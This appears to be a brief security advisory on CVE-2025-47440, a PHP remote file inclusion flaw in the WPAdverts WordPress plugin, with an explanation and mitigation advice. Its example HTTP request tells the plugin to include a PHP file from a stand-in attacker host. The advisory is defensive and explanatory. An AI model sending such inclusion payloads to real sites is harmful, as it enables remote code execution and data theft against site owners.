Overview
CVE-2025-47440 is a high-risk vulnerability that impacts the WPAdverts plugin developed by Greg Winiarski. This vulnerability arises from an improper control of filename for include/require statement in PHP programs, specifically known as ‘PHP Remote File Inclusion’. If successfully exploited, the vulnerability could lead to potential system compromise or data leakage.

How the Exploit Works
The exploit works by taking advantage of the improper control of filename for include/require statement in PHP programs. An attacker could remotely insert a PHP file from an external server that contains malicious code. When the targeted system executes this inclusion, the malicious code runs, potentially leading to system compromise or data leakage.
Conceptual Example Code
Here’s a conceptual example illustrating how this vulnerability might be exploited:
POST /wpadverts/endpoint.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
include=http://attacker.com/malicious_file.phpIn this example, an attacker sends a request to an endpoint of the WPAdverts plugin, instructing it to include a PHP file from an external server controlled by the attacker. This file contains malicious code which, once executed, enables the attacker to potentially compromise the system or leak data.
Mitigation
To mitigate this vulnerability, it is recommended to apply the vendor patch as soon as it becomes available. In the interim, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to detect and block attempts to exploit this vulnerability.
In addition to these measures, it is also advisable to follow best practices for secure coding to avoid similar vulnerabilities in the future. This includes validating input, using secure API calls, and regularly updating and patching all software components.
